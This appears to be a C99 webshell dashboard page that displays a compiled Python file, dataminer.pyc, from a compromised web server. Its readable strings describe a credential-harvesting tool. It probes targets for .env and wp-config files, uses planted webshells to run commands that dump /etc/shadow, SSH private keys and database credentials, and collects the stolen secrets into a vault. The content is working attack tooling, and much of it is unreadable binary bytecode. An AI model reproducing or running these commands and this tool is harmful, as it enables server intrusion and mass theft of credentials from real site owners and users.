C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:14:16

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/__pycache__/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)


File: dataminer.cpython-313.pyc · 14.68 KB · -rwxrwxrwx

�

�"pj�%���SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKr\R"5 SSK
r
SSKJr Sr
\
S-r\
S-r\S-r\
S-r\S	-r\R&R)S\
5 SSKrS
r/SQr\R0"S\R25r\R0"S
\R25r/SQrSrSrSrSr Sr!S#Sjr"Sr#SSSSSSSS.r$S$Sjr%Sr&S%S jr'S!r(\)S":Xa\("5 gg)&aKdataminer.py - data mining for planted/live targets.
Phases:
  http   : probe common sensitive files (.env, wp-config, config.inc.php, .git/config)
           on live targets over HTTP, save found content to targets/<d>/data/loot/
  shell  : for each planted shell, run terminal dumps (.env, wp-config, db, ssh keys,
           shadow, sql dumps) via c99terminal, save to loot dir
  creds  : scan all loot dirs, extract credentials, add to encrypted vault
CLI: dataminer.py http [--limit N] [--target D] [--workers W]
     dataminer.py shell [--target D]
     dataminer.py creds [--dry]
�N)�ThreadPoolExecutorz
/var/www/htmlz/targetsz/reconz/last_scan.jsonz/.planted.jsonz
/datamine.logz7Mozilla/5.0 (Windows NT 10.0; Win64; x64) DataMiner/1.0)z.envz
wp-config.phpzwp-config.php.bakzwp-config.php~z
config.phpzconfig.inc.phpzdb.phpzdatabase.phpz.git/configz	.git/HEADz
config/db.phpzconfig/conf.phpzbackend/.envzapi/.envz
admin/.envzapp/.envzweb/.envzapplication/config/database.phpzincludes/config.phpzlib/config.phpzn(DB_|DATABASE|USERNAME|PASSWORD|PASSWD|SECRET|APP_KEY|define\(|mysql|mysqli|private key|-----BEGIN|smtp|token)zq(The page you requested|404 Not Found|Access Denied|not found|An error occurred|Welcome to nginx|Error: Page not)))zhdefine\(\s*['\"](DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|DB_PORT|DB_CHARSET)['\"]\s*,\s*['\"](.*?)['\"]\s*\)�wp)zH(?:WP_)?DB_(HOST|NAME|USER|PASSWORD|PASS)\s*[=:]\s*['\"]?(.*?)['\"]?\s*$�env)zW^\s*(?:export\s+)?(DB_|MYSQL|MARIADB|MSSQL|PG_|REDIS|SMTP|MAIL_)[A-Z_]*\s*=\s*(.*?)\s*$r)z9['\"](user|username|login)['\"]?\s*[=:]\s*['\"](.*?)['\"]�generic)z<['\"](pass(word)?|pwd|secret)['\"]?\s*[=:]\s*['\"](.*?)['\"]r)z4-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----�ssh)	�DB_NAME�DB_USER�DB_PASSWORD�DB_HOST�DB_PORT�
WP_DB_NAME�
WP_DB_USER�WP_DB_PASSWORD�
WP_DB_HOSTc��S[R"S5<SU<3n[[S5nUR	US-5 SSS5 [
RR5(a[USS9 gg!,(df   N==f)N�[z%d/%m %H:%M:%Sz] �a�
T)�flush)	�time�strftime�open�RUN_LOG�write�sys�stdout�isatty�print)�m�line�fs   �dataminer.py�logr#6sb���
�
�&6�7��;�D�	
�g�s�	�q�	����t���
�
�z�z�����
�d�$���
�	�s�A;�;
B	c��[RR[5(aL[R
"[
[55Vs/sHoRS5(dMUPM sn$/$s snf![a /$f=f)N�alive)	�os�path�isfile�	SCAN_JSON�json�loadr�get�	Exception)�rs r"�	load_liver/>sj��	�w�w�~�~�i� � �	�#�y�y��i��9�L�9�!�U�U�7�^�A�9�L�L��I��M���	��
�I�	�s)�%A<�A7�,A7�2A<�7A<�<
B
�	B
c�|�[RR[USS5n[R"USS9 U$)N�data�lootT��exist_ok)r&r'�join�TARGETS�makedirs)�d�dds  r"�loot_dirr:Gs-��	�����g�q�&�&�	1�B��K�K��T�"�
�I�c	��SH�nUS-U-S-U-n[R"USSSS[0S9nURS	:XalUR(a[[
R
URSS
5(a g[R
UR5(aURs $ g g![a M�f=f)N)�https�httpz://�/�FT�
User-Agent)�timeout�verify�allow_redirects�headers��i�)
�requestsr,�UA�status_code�content�NOISE�search�text�INTERESTINGr-)r8r'�scheme�url�reqs     r"�
probe_filerRMs���#���u�n�q� �3�&��-��
	��,�,�s�A�e�T�(4�b�'9�;�C����#�%�#�+�+��<�<�����$��0�0���%�%�c�h�h�/�/��8�8�O��$����	��	�s�A&B4�=/B4�4
C�Cc�T�[5nU(aUVs/sHoDSU:XdM
UPM nnU(aUSUn[S[U5-5 SnSn[US9nUR	Xc5HnXX-
nM	 SSS5 [SU-5 U$s snf!,(df   N#=f)N�domainz/http: probing %d live targets for loot files...rc��USn/n[H�n[X5nUcM[U5nURSS5n[	[
RRXV5SSS9nURUSS5 SSS5 URU5 M� U(a#[SU<S	S
RU5<35 gg!,(df   NN=f)
NrTr?�__�w�ignore��errorsi@
zhttp: z -> �,�r)�
LOOT_PATHSrRr:�replacerr&r'r5r�appendr#)r.r8�found�p�txtr9�fnamer!s        r"�task�http_phase.<locals>.taskgs���
�h�K�����A��Q�"�C��{���!��B��I�I�c�4�(�E��b�g�g�l�l�2�-�s�8�D������G�V��%�E��L�L��O����A�s�x�x���7�8���
E�D�s�&C�
C	)�max_workerszhttp: loot saved for %d targets)r/r#�lenr�map)	�limit�target�workers�liver.�gotrd�ex�ns	         r"�
http_phaserp^s����;�D�
��9�4�a�X�;�&�#8��4��9���F�U�|���9�C��I�E�F�
�C��"
��	0�B�����#�A��H�C�$�
1��)�C�/�0��J��7:�.
1�	0�s�B�B�B�
B'c�h�[R"USSUS.SSS[0S9n[R"SUR
[R5nU(aUS	OS
n[R"SS
U5nSHupVURXV5nM U$![anS
U-sSnA$SnAff=f)N�c99terminalr\)�act�troot�tcmd�FrA)�paramsrBrCrEz<div class="tout">(.*?)</div>����z<[^>]+>))z&amp;�&)z&lt;�<)z&gt;�>)z&quot;�")z&#039;�')z&#39;r~zERR %s)
rGr,rH�re�findallrM�S�subr^r-)rP�cmdrQ�outs�outr�b�es        r"�	shell_cmdr�s�����l�l�3�}�q�RU�'V�#%�e�l�B�=O�Q���z�z�:�C�H�H�b�d�d�K���d�2�h�B���f�f�Z��S�)��6�D�A��+�+�a�#�C�6��
�����!�|����s�BB�
B1�"B,�&B1�,B1z�find / -maxdepth 3 -name '.env' -o -maxdepth 3 -name 'wp-config.php' -o -maxdepth 3 -name 'config.inc.php' -o -maxdepth 3 -name 'db.php' 2>/dev/null | head -40zScat .env wp-config.php config.inc.php db.php config.php 2>/dev/null | head -c 20000z�ls -la .ssh 2>/dev/null; cat .ssh/id_rsa .ssh/id_ecdsa .ssh/id_ed25519 .ssh/authorized_keys /root/.ssh/id_rsa 2>/dev/null | head -c 10000z6cat /etc/passwd /etc/shadow 2>/dev/null | head -c 8000zbfind / -name '*.sql' -o -name '*.sql.gz' -o -name '*.dump' -o -name '*.bak' 2>/dev/null | head -20z�grep -rhiE 'DB_(HOST|NAME|USER|PASSWORD)|DATABASE_URL|mysql.*pass' --include=*.env --include=*.php /var/www /home /opt 2>/dev/null | head -c 15000zcfind / -name '*.php' -size -2M 2>/dev/null | grep -iE 'shell|c99|b374k|r57|wso|webshell' | head -20)�env_dump�config_dumpr�
shadow_passwd�sql_find�db_creds�shellsc	��[RR[5(d[	S5 g[
R"[[55nU(a+UR5VVs0sHup#X :XdMX#_M nnn[	S[U5-5 SnUR5GH*upVURS5nU(dM [RR[USS5n[R"USS9 [R5H�up�[Xz5nU(dMUR!5(dM0UR!5R#S	5(aMV[[RRUS
U	-5SSS
9nUR%USS5 SSS5 M� US-
n[	SU<SU<35 GM- U$s snnf!,(df   M�=f)Nzshell: no .planted.jsonrz#shell: dumping %d planted shells...rPr1r2Tr3�ERR�shell__rWrXrYiP�r\zshell: z dumped -> )r&r'r(�PLANTEDr#r*r+r�itemsrgr,r5r6r7�
SHELL_CMDSr��strip�
startswithr)
rj�planted�k�v�ok�pd�pvrPr9�namer�r�r!s
             r"�shell_phaser��sm��
�7�7�>�>�'�"�"��%�&���i�i��W�
�&�G�
�$+�M�M�O�C�O�D�A�q�{�4�1�4�O��C��-��G��<�=�	
�B��-�-�/����f�f�U�m����
�W�W�\�\�'�2�v�v�
6��
���B��&�#�)�)�+�I�D��C�%�C��s�s�y�y�{�{�3�9�9�;�+A�+A�%�+H�+H��"�'�'�,�,�r�9�t�+;�<�c�(�S�WX��G�G�C���K�(�T�S�,�
	�a�����C�0�1�"��I��!D�T�S�s�2G$�G$�$G*�*
G9c���/n[H�up#[R"X [R[R-5H�nUR5nUS:XaUR
SSSU45 M0[U5S:XdMAUSUSpvU(dMSU(dM\[U5S:dMm[U5S:�dM~UR
UR5XsS45 M� M� U$)	Nr�privatezssh-key�rr\rFr)	�
CRED_PATTERNSr�finditer�M�I�groupsr_rg�upper)rMr`�pat�kindr�grpr�r�s        r"�
extract_credsr��s����E�"�	�����S����r�t�t��4�A��(�(�*�C��u�}����e�Y�	�4�@�A���3�x�1�}��1�v�s�1�v�1��1���s�1�v��|��A��!���L�L�!�'�'�)�Q�i�!@�A�5�#��Lr;c�^�[RR[S-5(dOU(dH[R
"[R[RR[S5S/SS9 Sn[5n[[R"[55GHCn[RR[USS5n[RRU5(dMP[[R"U55H�n[RRXE5n[US	S
S9RS5n[#U5H�up�p�U	(a#[%U	5S
:dU	R'5S;aM2U<SU<SU	<3nX�;aMFUR)U5 U(d![*R("X:X�SU-S9 US-
nMUS-
nM� M� GMF [-SX(aSOS4-5 U$![ a GMf=f![ a M�f=f)Nz/.vault.keyzvault.py�initT)�capture_outputrr1r2r.rXrYi�r�)�true�false�null�	localhostz	127.0.0.1�|z
dataminer )rjr��user�password�noter\zcreds: %d unique credentials %sz	(dry-run)z-> vault)r&r'r(�BASE�
subprocess�runr�
executabler5�set�sorted�listdirr6�isdirr�readr-r�rg�lower�add�vaultr#)
�dry�added�seenr8r2�fnrarbr�r�r��tag�keys
             r"�creds_phaser��s���
�7�7�>�>�$��.�/�/���N�N�C�N�N�B�G�G�L�L��z�,J�F�S�*.�
0�
�E��5�D�
�B�J�J�w�'�
(���w�w�|�|�G�Q���7���w�w�}�}�T�"�"������D�)�*�B������T�&�A�
��1�c�(�3�8�8��@��$1��#5���d��C��F�Q�J�!�'�'�)�7j�*j��$%�q�!�,���;������
����	�	��A�P\�_a�Pa�b���
���Q�J�E�$6�
+�	)�2�)�U�3�K�J�,W�W�X��L��%�
��
��%����s$�<H�H�
H�H�
H,	�+H,	c��[R"SS9nURSSS9nURS5nUR	S[
S9 UR	S	5 UR	S
[
SS9 URS
5nUR	S	5 URS5nUR	SSS9 UR
5nURS:Xa,[URURUR5 gURS
:Xa[UR5 gURS:Xa[UR5 gg)Nzdataminer.py)�progr�T)�dest�requiredr>z--limit)�typez--targetz	--workers�
)r��default�shell�credsz--dry�
store_true)�action)�argparse�ArgumentParser�add_subparsers�
add_parser�add_argument�int�
parse_argsr�rprirjrkr�r�r�)�apr�rars    r"�mainr��s���	�	 �	 �n�	5�B�
�
�
���
�
6�C����v��A��N�N�9�3�N�'��N�N�:���N�N�;�S�"�N�5����w��A��N�N�:�����w��A��N�N�7�<�N�0�
�
�
��A��u�u����1�7�7�A�H�H�a�i�i�0�	
���'�	��A�H�H��	
���'�	��A�E�E��
r;�__main__)NNr�)N)F)*�__doc__r�r*r&rr�rr�urllib3�disable_warningsrG�concurrent.futuresrr�r6�RECONr)r�rr'�insertr�rHr]�compiler�rNrKr��KEYSr#r/r:rRrpr�r�r�r�r�r��__name__�r;r"�<module>r�sZ��
�5�4�4�4�������1���
��
���x����%�%�	�
�!�
!��
�/�
!��������4���>���
��j�j�K�MO�MQ�MQ�R��
�
�
�H�JL�JN�JN�	O���
�D�� ����"�B� n�i�
Q�N�;�c�t��
��2�!�H�*�z���F�r;